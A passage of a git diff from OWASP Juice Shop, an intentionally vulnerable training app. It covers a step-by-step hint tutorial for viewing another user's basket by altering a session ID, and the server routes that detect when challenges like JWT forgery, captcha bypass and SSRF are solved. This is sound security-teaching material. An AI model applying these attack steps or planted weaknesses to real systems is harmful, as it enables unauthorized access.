✍️', + fixture: 'app-navbar', + unskippable: true, + async resolved () { + const bid = sessionStorage.getItem('bid') + while (true) { + if (sessionStorage.getItem('bid') !== bid) { + break + } + await sleep(100) + } + } + }, + { + text: + 'Great, you have changed the `bid` value which might be some ID for the shopping basket!', + fixture: 'app-navbar', + resolved: waitInMs(8000) + }, + { + text: + 'Now, go to any other screen and then back to _Your Basket_. If nothing happens you might have set an invalid or non-existing `bid`. Try another in that case.', + fixture: 'app-navbar', + fixtureAfter: true, + unskippable: true, + async resolved () { + const total = sessionStorage.getItem('itemTotal') + while (true) { + if (sessionStorage.getItem('itemTotal') !== total) { + break + } + await sleep(100) + } + } + }, + { + text: + "🎉 Congratulations! You are now viewing another user's shopping basket!", + fixture: 'app-basket', + resolved: waitInMs(15000) + } + ] +} diff --git a/frontend/src/hacking-instructor/helpers/helpers.ts b/frontend/src/hacking-instructor/helpers/helpers.ts new file mode 100644 index 00000000000..46556baaed1 --- /dev/null +++ b/frontend/src/hacking-instructor/helpers/helpers.ts @@ -0,0 +1,232 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +let config +const playbackDelays = { + faster: 0.5, + fast: 0.75, + normal: 1.0, + slow: 1.25, + slower: 1.5 +} + +export async function sleep (timeInMs: number): Promise { + return await new Promise((resolve) => { + setTimeout(resolve, timeInMs) + }) +} + +export function waitForInputToHaveValue (inputSelector: string, value: string, options: any = { ignoreCase: true, replacement: [] }) { + return async () => { + const inputElement: HTMLInputElement = document.querySelector( + inputSelector + ) + + if (options.replacement?.length === 2) { + if (!config) { + const res = await fetch('/rest/admin/application-configuration') + const json = await res.json() + config = json.config + } + const propertyChain = options.replacement[1].split('.') + let replacementValue = config + for (const property of propertyChain) { + replacementValue = replacementValue[property] + } + value = value.replace(options.replacement[0], replacementValue) + } + + while (true) { + if (options.ignoreCase && inputElement.value.toLowerCase() === value.toLowerCase()) { + break + } else if (!options.ignoreCase && inputElement.value === value) { + break + } + await sleep(100) + } + } +} + +export function waitForInputToNotHaveValue (inputSelector: string, value: string, options = { ignoreCase: true }) { + return async () => { + const inputElement: HTMLInputElement = document.querySelector( + inputSelector + ) + + while (true) { + if (options.ignoreCase && inputElement.value.toLowerCase() !== value.toLowerCase()) { + break + } else if (!options.ignoreCase && inputElement.value !== value) { + break + } + await sleep(100) + } + } +} + +export function waitForInputToNotHaveValueAndNotBeEmpty (inputSelector: string, value: string, options = { ignoreCase: true }) { + return async () => { + const inputElement: HTMLInputElement = document.querySelector( + inputSelector + ) + + while (true) { + if (inputElement.value !== '') { + if (options.ignoreCase && inputElement.value.toLowerCase() !== value.toLowerCase()) { + break + } else if (!options.ignoreCase && inputElement.value !== value) { + break + } + } + await sleep(100) + } + } +} + +export function waitForInputToNotBeEmpty (inputSelector: string) { + return async () => { + const inputElement: HTMLInputElement = document.querySelector( + inputSelector + ) + + while (true) { + if (inputElement.value && inputElement.value !== '') { + break + } + await sleep(100) + } + } +} + +export function waitForElementToGetClicked (elementSelector: string) { + return async () => { + const element = document.querySelector( + elementSelector + ) + if (!element) { + console.warn(`Could not find Element with selector "${elementSelector}"`) + } + + await new Promise((resolve) => { + element.addEventListener('click', () => resolve()) + }) + } +} + +export function waitForElementsInnerHtmlToBe (elementSelector: string, value: String) { + return async () => { + while (true) { + const element = document.querySelector( + elementSelector + ) + + if (element && element.innerHTML === value) { + break + } + await sleep(100) + } + } +} + +export function waitInMs (timeInMs: number) { + return async () => { + if (!config) { + const res = await fetch('/rest/admin/application-configuration') + const json = await res.json() + config = json.config + } + let delay = playbackDelays[config.hackingInstructor.hintPlaybackSpeed] + delay ??= 1.0 + await sleep(timeInMs * delay) + } +} + +export function waitForAngularRouteToBeVisited (route: string) { + return async () => { + while (true) { + if (window.location.hash === `#/${route}`) { + break + } + await sleep(100) + } + } +} + +export function waitForLogIn () { + return async () => { + while (true) { + if (localStorage.getItem('token') !== null) { + break + } + await sleep(100) + } + } +} + +export function waitForLogOut () { + return async () => { + while (true) { + if (localStorage.getItem('token') === null) { + break + } + await sleep(100) + } + } +} + +/** + * see https://stackoverflow.com/questions/7798748/find-out-whether-chrome-console-is-open/48287643#48287643 + */ +export function waitForDevTools () { + let checkStatus = false + + const element = new Image() + Object.defineProperty(element, 'id', { + get: function () { + checkStatus = true + } + }) + + return async () => { + while (true) { + console.dir(element) + console.clear() + if (checkStatus) { + break + } + await sleep(100) + } + } +} + +export function waitForSelectToHaveValue (selectSelector: string, value: string) { + return async () => { + const selectElement: HTMLSelectElement = document.querySelector( + selectSelector + ) + + while (true) { + if (selectElement.options[selectElement.selectedIndex].value === value) { + break + } + await sleep(100) + } + } +} + +export function waitForSelectToNotHaveValue (selectSelector: string, value: string) { + return async () => { + const selectElement: HTMLSelectElement = document.querySelector( + selectSelector + ) + + while (true) { + if (selectElement.options[selectElement.selectedIndex].value !== value) { + break + } + await sleep(100) + } + } +} diff --git a/frontend/src/hacking-instructor/index.ts b/frontend/src/hacking-instructor/index.ts new file mode 100644 index 00000000000..f7ecfde2939 --- /dev/null +++ b/frontend/src/hacking-instructor/index.ts @@ -0,0 +1,190 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import snarkdown from 'snarkdown' + +import { LoginAdminInstruction } from './challenges/loginAdmin' +import { DomXssInstruction } from './challenges/domXss' +import { ScoreBoardInstruction } from './challenges/scoreBoard' +import { PrivacyPolicyInstruction } from './challenges/privacyPolicy' +import { LoginJimInstruction } from './challenges/loginJim' +import { ViewBasketInstruction } from './challenges/viewBasket' +import { ForgedFeedbackInstruction } from './challenges/forgedFeedback' +import { PasswordStrengthInstruction } from './challenges/passwordStrength' +import { BonusPayloadInstruction } from './challenges/bonusPayload' +import { LoginBenderInstruction } from './challenges/loginBender' +import { TutorialUnavailableInstruction } from './tutorialUnavailable' +import { CodingChallengesInstruction } from './challenges/codingChallenges' + +const challengeInstructions: ChallengeInstruction[] = [ + ScoreBoardInstruction, + LoginAdminInstruction, + LoginJimInstruction, + DomXssInstruction, + PrivacyPolicyInstruction, + ViewBasketInstruction, + ForgedFeedbackInstruction, + PasswordStrengthInstruction, + BonusPayloadInstruction, + LoginBenderInstruction, + CodingChallengesInstruction +] + +export interface ChallengeInstruction { + name: string + hints: ChallengeHint[] +} + +export interface ChallengeHint { + /** + * Text in the hint box + * Can be formatted using markdown + */ + text: string + /** + * Query Selector String of the Element the hint should be displayed next to. + */ + fixture: string + /** + * Set to true if the hint should be displayed after the target + * Defaults to false (hint displayed before target) + */ + fixtureAfter?: boolean + /** + * Set to true if the hint should not be able to be skipped by clicking on it. + * Defaults to false + */ + unskippable?: boolean + /** + * Function declaring the condition under which the tutorial will continue. + */ + resolved: () => Promise +} + +function loadHint (hint: ChallengeHint): HTMLElement { + const target = document.querySelector(hint.fixture) + + if (!target) { + return null as unknown as HTMLElement + } + + const wrapper = document.createElement('div') + wrapper.style.position = 'absolute' + + const elem = document.createElement('div') + elem.id = 'hacking-instructor' + elem.style.position = 'absolute' + elem.style.zIndex = '20000' + elem.style.backgroundColor = 'rgba(50, 115, 220, 0.9)' + elem.style.maxWidth = '400px' + elem.style.minWidth = hint.text.length > 100 ? '350px' : '250px' + elem.style.padding = '16px' + elem.style.borderRadius = '8px' + elem.style.whiteSpace = 'initial' + elem.style.lineHeight = '1.3' + elem.style.top = '24px' + elem.style.fontFamily = 'Roboto,Helvetica Neue,sans-serif' + if (!hint.unskippable) { + elem.style.cursor = 'pointer' + elem.title = 'Double-click to skip' + } + elem.style.fontSize = '14px' + elem.style.display = 'flex' + elem.style.alignItems = 'center' + + const picture = document.createElement('img') + picture.style.minWidth = '64px' + picture.style.minHeight = '64px' + picture.style.width = '64px' + picture.style.height = '64px' + picture.style.marginRight = '8px' + picture.src = '/assets/public/images/hackingInstructor.png' + + const textBox = document.createElement('span') + textBox.style.flexGrow = '2' + textBox.innerHTML = snarkdown(hint.text) + + const cancelButton = document.createElement('button') + cancelButton.id = 'cancelButton' + cancelButton.style.textDecoration = 'none' + cancelButton.style.backgroundColor = 'transparent' + cancelButton.style.border = 'none' + cancelButton.style.color = 'white' + cancelButton.innerHTML = '
×
' + cancelButton.style.fontSize = 'large' + cancelButton.title = 'Cancel the tutorial' + cancelButton.style.position = 'relative' + cancelButton.style.zIndex = '20001' + cancelButton.style.bottom = '-22px' + cancelButton.style.cursor = 'pointer' + + elem.appendChild(picture) + elem.appendChild(textBox) + + const relAnchor = document.createElement('div') + relAnchor.style.position = 'relative' + relAnchor.style.display = 'inline' + relAnchor.appendChild(elem) + relAnchor.appendChild(cancelButton) + + wrapper.appendChild(relAnchor) + + if (hint.fixtureAfter) { + // insertAfter does not exist so we simulate it this way + target.parentElement.insertBefore(wrapper, target.nextSibling) + } else { + target.parentElement.insertBefore(wrapper, target) + } + + return wrapper +} + +async function waitForDoubleClick (element: HTMLElement) { + return await new Promise((resolve) => { + element.addEventListener('dblclick', resolve) + }) +} + +async function waitForCancel (element: HTMLElement) { + return await new Promise((resolve) => { + element.addEventListener('click', () => { + resolve('break') + }) + }) +} + +export function hasInstructions (challengeName: String): boolean { + return challengeInstructions.find(({ name }) => name === challengeName) !== undefined +} + +export async function startHackingInstructorFor (challengeName: String): Promise { + const challengeInstruction = challengeInstructions.find(({ name }) => name === challengeName) || TutorialUnavailableInstruction + + for (const hint of challengeInstruction.hints) { + const element = loadHint(hint) + if (!element) { + console.warn(`Could not find Element with fixture "${hint.fixture}"`) + continue + } + element.scrollIntoView() + + const continueConditions: Array> = [ + hint.resolved() + ] + + if (!hint.unskippable) { + continueConditions.push(waitForDoubleClick(element)) + } + continueConditions.push(waitForCancel(document.getElementById('cancelButton'))) + + const command = await Promise.race(continueConditions) + if (command === 'break') { + element.remove() + break + } + + element.remove() + } +} diff --git a/frontend/src/hacking-instructor/tutorialUnavailable.ts b/frontend/src/hacking-instructor/tutorialUnavailable.ts new file mode 100644 index 00000000000..9b74bce8eff --- /dev/null +++ b/frontend/src/hacking-instructor/tutorialUnavailable.ts @@ -0,0 +1,33 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import { + waitInMs +} from './helpers/helpers' +import { ChallengeInstruction } from './' + +export const TutorialUnavailableInstruction: ChallengeInstruction = { + name: null, + hints: [ + { + text: + '😓 Sorry, this hacking challenge does not have a step-by-step tutorial (yet) ... 🧭 Can you find your own way to solve it?', + fixture: 'app-navbar', + resolved: waitInMs(15000) + }, + { + text: + '✍️ Do you want to contribute a tutorial for this challenge? [Check out our documentation](https://pwning.owasp-juice.shop/part3/tutorials.html) to learn how! 🏫', + fixture: 'app-navbar', + resolved: waitInMs(15000) + }, + { + text: + 'And now: 👾 **GLHF** with this challenge!', + fixture: 'app-navbar', + resolved: waitInMs(10000) + } + ] +} diff --git a/frontend/src/index.html b/frontend/src/index.html index 224c3fa50a8..c0c1c46caf4 100644 --- a/frontend/src/index.html +++ b/frontend/src/index.html @@ -1,20 +1,24 @@ + + OWASP Juice Shop - - + - - + + ') }) + + res.set({ + 'Content-Security-Policy': CSP + }) + + res.send(fn(user)) + }).catch((error: Error) => { + next(error) + }) + } else { + next(new Error('Blocked illegal activity by ' + req.socket.remoteAddress)) + } + }) + } + + function favicon () { + return utils.extractFilename(config.get('application.favicon')) + } +} diff --git a/routes/verify.js b/routes/verify.js deleted file mode 100644 index 6d81ee5aa3b..00000000000 --- a/routes/verify.js +++ /dev/null @@ -1,293 +0,0 @@ -const utils = require('../lib/utils') -const insecurity = require('../lib/insecurity') -const jwt = require('jsonwebtoken') -const models = require('../models/index') -const cache = require('../data/datacache') -const Op = models.Sequelize.Op -const challenges = cache.challenges -const products = cache.products - -exports.forgedFeedbackChallenge = () => (req, res, next) => { - /* jshint eqeqeq:false */ - if (utils.notSolved(challenges.forgedFeedbackChallenge)) { - const user = insecurity.authenticatedUsers.from(req) - const userId = user && user.data ? user.data.id : undefined - if (req.body && req.body.UserId && req.body.UserId != userId) { // eslint-disable-line eqeqeq - utils.solve(challenges.forgedFeedbackChallenge) - } - } - next() -} - -exports.captchaBypassChallenge = () => (req, res, next) => { - /* jshint eqeqeq:false */ - if (utils.notSolved(challenges.captchaBypassChallenge)) { - if (req.app.locals.captchaReqId >= 10) { - if ((new Date().getTime() - req.app.locals.captchaBypassReqTimes[req.app.locals.captchaReqId - 10]) <= 10000) { - utils.solve(challenges.captchaBypassChallenge) - } - } - req.app.locals.captchaBypassReqTimes[req.app.locals.captchaReqId - 1] = new Date().getTime() - req.app.locals.captchaReqId++ - } - next() -} - -exports.registerAdminChallenge = () => (req, res, next) => { - /* jshint eqeqeq:false */ - if (utils.notSolved(challenges.registerAdminChallenge)) { - if (req.body && req.body.isAdmin && req.body.isAdmin === true) { - utils.solve(challenges.registerAdminChallenge) - } - } - next() -} - -exports.accessControlChallenges = () => ({ url }, res, next) => { - if (utils.notSolved(challenges.scoreBoardChallenge) && utils.endsWith(url, '/scoreboard.png')) { - utils.solve(challenges.scoreBoardChallenge) - } else if (utils.notSolved(challenges.adminSectionChallenge) && utils.endsWith(url, '/administration.png')) { - utils.solve(challenges.adminSectionChallenge) - } else if (utils.notSolved(challenges.tokenSaleChallenge) && utils.endsWith(url, '/tokensale.png')) { - utils.solve(challenges.tokenSaleChallenge) - } else if (utils.notSolved(challenges.extraLanguageChallenge) && utils.endsWith(url, '/tlh_AA.json')) { - utils.solve(challenges.extraLanguageChallenge) - } else if (utils.notSolved(challenges.retrieveBlueprintChallenge) && utils.endsWith(url, cache.retrieveBlueprintChallengeFile)) { - utils.solve(challenges.retrieveBlueprintChallenge) - } else if (utils.notSolved(challenges.securityPolicyChallenge) && utils.endsWith(url, '/security.txt')) { - utils.solve(challenges.securityPolicyChallenge) - } - next() -} - -exports.errorHandlingChallenge = () => (err, req, { statusCode }, next) => { - if (utils.notSolved(challenges.errorHandlingChallenge) && err && (statusCode === 200 || statusCode > 401)) { - utils.solve(challenges.errorHandlingChallenge) - } - next(err) -} - -exports.jwtChallenges = () => (req, res, next) => { - if (utils.notSolved(challenges.jwtTier1Challenge)) { - jwtChallenge(challenges.jwtTier1Challenge, req, 'none', /jwtn3d@/) - } - if (utils.notSolved(challenges.jwtTier2Challenge)) { - jwtChallenge(challenges.jwtTier2Challenge, req, 'HS256', /rsa_lord@/) - } - next() -} - -exports.serverSideChallenges = () => (req, res, next) => { - if (req.query.key === 'tRy_H4rd3r_n0thIng_iS_Imp0ssibl3') { - if (utils.notSolved(challenges.sstiChallenge) && req.app.locals.abused_ssti_bug === true) { - utils.solve(challenges.sstiChallenge) - res.status(204).send() - return - } - - if (utils.notSolved(challenges.ssrfChallenge) && req.app.locals.abused_ssrf_bug === true) { - utils.solve(challenges.ssrfChallenge) - res.status(204).send() - return - } - } - next() -} - -function jwtChallenge (challenge, req, algorithm, email) { - const decoded = jwt.decode(utils.jwtFrom(req), { complete: true, json: true }) - if (hasAlgorithm(decoded, algorithm) && hasEmail(decoded, email)) { - utils.solve(challenge) - } -} - -function hasAlgorithm (token, algorithm) { - return token && token.header && token.header.alg === algorithm -} - -function hasEmail (token, email) { - return token && token.payload && token.payload.data && token.payload.data.email && token.payload.data.email.match(email) -} - -exports.databaseRelatedChallenges = () => (req, res, next) => { - if (utils.notSolved(challenges.changeProductChallenge) && products.osaft) { - changeProductChallenge(products.osaft) - } - if (utils.notSolved(challenges.feedbackChallenge)) { - feedbackChallenge() - } - if (utils.notSolved(challenges.knownVulnerableComponentChallenge)) { - knownVulnerableComponentChallenge() - } - if (utils.notSolved(challenges.weirdCryptoChallenge)) { - weirdCryptoChallenge() - } - if (utils.notSolved(challenges.typosquattingNpmChallenge)) { - typosquattingNpmChallenge() - } - if (utils.notSolved(challenges.typosquattingAngularChallenge)) { - typosquattingAngularChallenge() - } - if (utils.notSolved(challenges.hiddenImageChallenge)) { - hiddenImageChallenge() - } - if (utils.notSolved(challenges.supplyChainAttackChallenge)) { - supplyChainAttackChallenge() - } - next() -} - -function changeProductChallenge (osaft) { - osaft.reload().then(() => { - if (!utils.contains(osaft.description, 'https://www.owasp.org/index.php/O-Saft')) { - if (utils.contains(osaft.description, 'More...')) { - utils.solve(challenges.changeProductChallenge) - } - } - }) -} - -function feedbackChallenge () { - models.Feedback.findAndCountAll({ where: { rating: 5 } }).then(({ count }) => { - if (count === 0) { - utils.solve(challenges.feedbackChallenge) - } - }) -} - -function knownVulnerableComponentChallenge () { - models.Feedback.findAndCountAll({ - where: { - comment: { - [Op.or]: knownVulnerableComponents() - } - } - }).then(({ count }) => { - if (count > 0) { - utils.solve(challenges.knownVulnerableComponentChallenge) - } - }) - models.Complaint.findAndCountAll({ - where: { - message: { - [Op.or]: knownVulnerableComponents() - } - } - }).then(({ count }) => { - if (count > 0) { - utils.solve(challenges.knownVulnerableComponentChallenge) - } - }) -} - -function knownVulnerableComponents () { - return [ - { - [Op.and]: [ - { [Op.like]: '%sanitize-html%' }, - { [Op.like]: '%1.4.2%' } - ] - }, - { - [Op.and]: [ - { [Op.like]: '%express-jwt%' }, - { [Op.like]: '%0.1.3%' } - ] - } - ] -} - -function weirdCryptoChallenge () { - models.Feedback.findAndCountAll({ - where: { - comment: { - [Op.or]: weirdCryptos() - } - } - }).then(({ count }) => { - if (count > 0) { - utils.solve(challenges.weirdCryptoChallenge) - } - }) - models.Complaint.findAndCountAll({ - where: { - message: { - [Op.or]: weirdCryptos() - } - } - }).then(({ count }) => { - if (count > 0) { - utils.solve(challenges.weirdCryptoChallenge) - } - }) -} - -function weirdCryptos () { - return [ - { [Op.like]: '%z85%' }, - { [Op.like]: '%base85%' }, - { [Op.like]: '%hashids%' }, - { [Op.like]: '%md5%' }, - { [Op.like]: '%base64%' } - ] -} - -function typosquattingNpmChallenge () { - models.Feedback.findAndCountAll({ where: { comment: { [Op.like]: '%epilogue-js%' } } } - ).then(({ count }) => { - if (count > 0) { - utils.solve(challenges.typosquattingNpmChallenge) - } - }) - models.Complaint.findAndCountAll({ where: { message: { [Op.like]: '%epilogue-js%' } } } - ).then(({ count }) => { - if (count > 0) { - utils.solve(challenges.typosquattingNpmChallenge) - } - }) -} - -function typosquattingAngularChallenge () { - models.Feedback.findAndCountAll({ where: { comment: { [Op.like]: '%ng2-bar-rating%' } } } - ).then(({ count }) => { - if (count > 0) { - utils.solve(challenges.typosquattingAngularChallenge) - } - }) - models.Complaint.findAndCountAll({ where: { message: { [Op.like]: '%ng2-bar-rating%' } } } - ).then(({ count }) => { - if (count > 0) { - utils.solve(challenges.typosquattingAngularChallenge) - } - }) -} - -function hiddenImageChallenge () { - models.Feedback.findAndCountAll({ where: { comment: { [Op.like]: '%pickle rick%' } } } - ).then(({ count }) => { - if (count > 0) { - utils.solve(challenges.hiddenImageChallenge) - } - }) - models.Complaint.findAndCountAll({ where: { message: { [Op.like]: '%pickle rick%' } } } - ).then(({ count }) => { - if (count > 0) { - utils.solve(challenges.hiddenImageChallenge) - } - }) -} - -function supplyChainAttackChallenge () { // TODO Extend to also pass for given CVE once one has been assigned (otherwise remove CVE mention from challenge description) - models.Feedback.findAndCountAll({ where: { comment: { [Op.like]: '%https://github.com/eslint/eslint-scope/issues/39%' } } } - ).then(({ count }) => { - if (count > 0) { - utils.solve(challenges.supplyChainAttackChallenge) - } - }) - models.Complaint.findAndCountAll({ where: { message: { [Op.like]: '%https://github.com/eslint/eslint-scope/issues/39%' } } } - ).then(({ count }) => { - if (count > 0) { - utils.solve(challenges.supplyChainAttackChallenge) - } - }) -} diff --git a/routes/verify.ts b/routes/verify.ts new file mode 100644 index 00000000000..793b16ef9d7 --- /dev/null +++ b/routes/verify.ts @@ -0,0 +1,381 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import { Request, Response, NextFunction } from 'express' +import { Challenge, Product } from '../data/types' +import { JwtPayload, VerifyErrors } from 'jsonwebtoken' +import { FeedbackModel } from '../models/feedback' +import { ComplaintModel } from '../models/complaint' +import { Op } from 'sequelize' +import challengeUtils = require('../lib/challengeUtils') + +const utils = require('../lib/utils') +const security = require('../lib/insecurity') +const jwt = require('jsonwebtoken') +const jws = require('jws') +const cache = require('../data/datacache') +const challenges = cache.challenges +const products = cache.products +const config = require('config') + +exports.forgedFeedbackChallenge = () => (req: Request, res: Response, next: NextFunction) => { + challengeUtils.solveIf(challenges.forgedFeedbackChallenge, () => { + const user = security.authenticatedUsers.from(req) + const userId = user?.data ? user.data.id : undefined + return req.body?.UserId && req.body.UserId != userId // eslint-disable-line eqeqeq + }) + next() +} + +exports.captchaBypassChallenge = () => (req: Request, res: Response, next: NextFunction) => { + if (challengeUtils.notSolved(challenges.captchaBypassChallenge)) { + if (req.app.locals.captchaReqId >= 10) { + if ((new Date().getTime() - req.app.locals.captchaBypassReqTimes[req.app.locals.captchaReqId - 10]) <= 20000) { + challengeUtils.solve(challenges.captchaBypassChallenge) + } + } + req.app.locals.captchaBypassReqTimes[req.app.locals.captchaReqId - 1] = new Date().getTime() + req.app.locals.captchaReqId++ + } + next() +} + +exports.registerAdminChallenge = () => (req: Request, res: Response, next: NextFunction) => { + challengeUtils.solveIf(challenges.registerAdminChallenge, () => { return req.body && req.body.role === security.roles.admin }) + next() +} + +exports.passwordRepeatChallenge = () => (req: Request, res: Response, next: NextFunction) => { + challengeUtils.solveIf(challenges.passwordRepeatChallenge, () => { return req.body && req.body.passwordRepeat !== req.body.password }) + next() +} + +exports.accessControlChallenges = () => ({ url }: Request, res: Response, next: NextFunction) => { + challengeUtils.solveIf(challenges.scoreBoardChallenge, () => { return utils.endsWith(url, '/1px.png') }) + challengeUtils.solveIf(challenges.adminSectionChallenge, () => { return utils.endsWith(url, '/19px.png') }) + challengeUtils.solveIf(challenges.tokenSaleChallenge, () => { return utils.endsWith(url, '/56px.png') }) + challengeUtils.solveIf(challenges.privacyPolicyChallenge, () => { return utils.endsWith(url, '/81px.png') }) + challengeUtils.solveIf(challenges.extraLanguageChallenge, () => { return utils.endsWith(url, '/tlh_AA.json') }) + challengeUtils.solveIf(challenges.retrieveBlueprintChallenge, () => { return utils.endsWith(url, cache.retrieveBlueprintChallengeFile) }) + challengeUtils.solveIf(challenges.securityPolicyChallenge, () => { return utils.endsWith(url, '/security.txt') }) + challengeUtils.solveIf(challenges.missingEncodingChallenge, () => { return utils.endsWith(url.toLowerCase(), '%f0%9f%98%bc-%23zatschi-%23whoneedsfourlegs-1572600969477.jpg') }) + challengeUtils.solveIf(challenges.accessLogDisclosureChallenge, () => { return url.match(/access\.log(0-9-)*/) }) + next() +} + +exports.errorHandlingChallenge = () => (err: unknown, req: Request, { statusCode }: Response, next: NextFunction) => { + challengeUtils.solveIf(challenges.errorHandlingChallenge, () => { return err && (statusCode === 200 || statusCode > 401) }) + next(err) +} + +exports.jwtChallenges = () => (req: Request, res: Response, next: NextFunction) => { + if (challengeUtils.notSolved(challenges.jwtUnsignedChallenge)) { + jwtChallenge(challenges.jwtUnsignedChallenge, req, 'none', /jwtn3d@/) + } + if (!utils.disableOnWindowsEnv() && challengeUtils.notSolved(challenges.jwtForgedChallenge)) { + jwtChallenge(challenges.jwtForgedChallenge, req, 'HS256', /rsa_lord@/) + } + next() +} + +exports.serverSideChallenges = () => (req: Request, res: Response, next: NextFunction) => { + if (req.query.key === 'tRy_H4rd3r_n0thIng_iS_Imp0ssibl3') { + if (challengeUtils.notSolved(challenges.sstiChallenge) && req.app.locals.abused_ssti_bug === true) { + challengeUtils.solve(challenges.sstiChallenge) + res.status(204).send() + return + } + + if (challengeUtils.notSolved(challenges.ssrfChallenge) && req.app.locals.abused_ssrf_bug === true) { + challengeUtils.solve(challenges.ssrfChallenge) + res.status(204).send() + return + } + } + next() +} + +function jwtChallenge (challenge: Challenge, req: Request, algorithm: string, email: string | RegExp) { + const token = utils.jwtFrom(req) + if (token) { + const decoded = jws.decode(token) ? jwt.decode(token) : null + jwt.verify(token, security.publicKey, (err: VerifyErrors | null, verified: JwtPayload) => { + if (err === null) { + challengeUtils.solveIf(challenge, () => { return hasAlgorithm(token, algorithm) && hasEmail(decoded, email) }) + } + }) + } +} + +function hasAlgorithm (token: string, algorithm: string) { + const header = JSON.parse(Buffer.from(token.split('.')[0], 'base64').toString()) + return token && header && header.alg === algorithm +} + +function hasEmail (token: { data: { email: string } }, email: string | RegExp) { + return token?.data?.email?.match(email) +} + +exports.databaseRelatedChallenges = () => (req: Request, res: Response, next: NextFunction) => { + if (challengeUtils.notSolved(challenges.changeProductChallenge) && products.osaft) { + changeProductChallenge(products.osaft) + } + if (challengeUtils.notSolved(challenges.feedbackChallenge)) { + feedbackChallenge() + } + if (challengeUtils.notSolved(challenges.knownVulnerableComponentChallenge)) { + knownVulnerableComponentChallenge() + } + if (challengeUtils.notSolved(challenges.weirdCryptoChallenge)) { + weirdCryptoChallenge() + } + if (challengeUtils.notSolved(challenges.typosquattingNpmChallenge)) { + typosquattingNpmChallenge() + } + if (challengeUtils.notSolved(challenges.typosquattingAngularChallenge)) { + typosquattingAngularChallenge() + } + if (challengeUtils.notSolved(challenges.hiddenImageChallenge)) { + hiddenImageChallenge() + } + if (challengeUtils.notSolved(challenges.supplyChainAttackChallenge)) { + supplyChainAttackChallenge() + } + if (challengeUtils.notSolved(challenges.dlpPastebinDataLeakChallenge)) { + dlpPastebinDataLeakChallenge() + } + next() +} + +function changeProductChallenge (osaft: Product) { + let urlForProductTamperingChallenge: string | null = null + void osaft.reload().then(() => { + for (const product of config.products) { + if (product.urlForProductTamperingChallenge !== undefined) { + urlForProductTamperingChallenge = product.urlForProductTamperingChallenge + break + } + } + if (urlForProductTamperingChallenge) { + if (!utils.contains(osaft.description, `${urlForProductTamperingChallenge}`)) { + if (utils.contains(osaft.description, `More...`)) { + challengeUtils.solve(challenges.changeProductChallenge) + } + } + } + }) +} + +function feedbackChallenge () { + FeedbackModel.findAndCountAll({ where: { rating: 5 } }).then(({ count }: { count: number }) => { + if (count === 0) { + challengeUtils.solve(challenges.feedbackChallenge) + } + }).catch(() => { + throw new Error('Unable to retrieve feedback details. Please try again') + }) +} + +function knownVulnerableComponentChallenge () { + FeedbackModel.findAndCountAll({ + where: { + comment: { + [Op.or]: knownVulnerableComponents() + } + } + }).then(({ count }: { count: number }) => { + if (count > 0) { + challengeUtils.solve(challenges.knownVulnerableComponentChallenge) + } + }).catch(() => { + throw new Error('Unable to get data for known vulnerabilities. Please try again') + }) + ComplaintModel.findAndCountAll({ + where: { + message: { + [Op.or]: knownVulnerableComponents() + } + } + }).then(({ count }: { count: number }) => { + if (count > 0) { + challengeUtils.solve(challenges.knownVulnerableComponentChallenge) + } + }).catch(() => { + throw new Error('Unable to get data for known vulnerabilities. Please try again') + }) +} + +function knownVulnerableComponents () { + return [ + { + [Op.and]: [ + { [Op.like]: '%sanitize-html%' }, + { [Op.like]: '%1.4.2%' } + ] + }, + { + [Op.and]: [ + { [Op.like]: '%express-jwt%' }, + { [Op.like]: '%0.1.3%' } + ] + } + ] +} + +function weirdCryptoChallenge () { + FeedbackModel.findAndCountAll({ + where: { + comment: { + [Op.or]: weirdCryptos() + } + } + }).then(({ count }: { count: number }) => { + if (count > 0) { + challengeUtils.solve(challenges.weirdCryptoChallenge) + } + }).catch(() => { + throw new Error('Unable to get data for known vulnerabilities. Please try again') + }) + ComplaintModel.findAndCountAll({ + where: { + message: { + [Op.or]: weirdCryptos() + } + } + }).then(({ count }: { count: number }) => { + if (count > 0) { + challengeUtils.solve(challenges.weirdCryptoChallenge) + } + }).catch(() => { + throw new Error('Unable to get data for known vulnerabilities. Please try again') + }) +} + +function weirdCryptos () { + return [ + { [Op.like]: '%z85%' }, + { [Op.like]: '%base85%' }, + { [Op.like]: '%hashids%' }, + { [Op.like]: '%md5%' }, + { [Op.like]: '%base64%' } + ] +} + +function typosquattingNpmChallenge () { + FeedbackModel.findAndCountAll({ where: { comment: { [Op.like]: '%epilogue-js%' } } } + ).then(({ count }: { count: number }) => { + if (count > 0) { + challengeUtils.solve(challenges.typosquattingNpmChallenge) + } + }).catch(() => { + throw new Error('Unable to get data for known vulnerabilities. Please try again') + }) + ComplaintModel.findAndCountAll({ where: { message: { [Op.like]: '%epilogue-js%' } } } + ).then(({ count }: { count: number }) => { + if (count > 0) { + challengeUtils.solve(challenges.typosquattingNpmChallenge) + } + }).catch(() => { + throw new Error('Unable to get data for known vulnerabilities. Please try again') + }) +} + +function typosquattingAngularChallenge () { + FeedbackModel.findAndCountAll({ where: { comment: { [Op.like]: '%anuglar2-qrcode%' } } } + ).then(({ count }: { count: number }) => { + if (count > 0) { + challengeUtils.solve(challenges.typosquattingAngularChallenge) + } + }).catch(() => { + throw new Error('Unable to get data for known vulnerabilities. Please try again') + }) + ComplaintModel.findAndCountAll({ where: { message: { [Op.like]: '%anuglar2-qrcode%' } } } + ).then(({ count }: { count: number }) => { + if (count > 0) { + challengeUtils.solve(challenges.typosquattingAngularChallenge) + } + }).catch(() => { + throw new Error('Unable to get data for known vulnerabilities. Please try again') + }) +} + +function hiddenImageChallenge () { + FeedbackModel.findAndCountAll({ where: { comment: { [Op.like]: '%pickle rick%' } } } + ).then(({ count }: { count: number }) => { + if (count > 0) { + challengeUtils.solve(challenges.hiddenImageChallenge) + } + }).catch(() => { + throw new Error('Unable to get data for known vulnerabilities. Please try again') + }) + ComplaintModel.findAndCountAll({ where: { message: { [Op.like]: '%pickle rick%' } } } + ).then(({ count }: { count: number }) => { + if (count > 0) { + challengeUtils.solve(challenges.hiddenImageChallenge) + } + }).catch(() => { + throw new Error('Unable to get 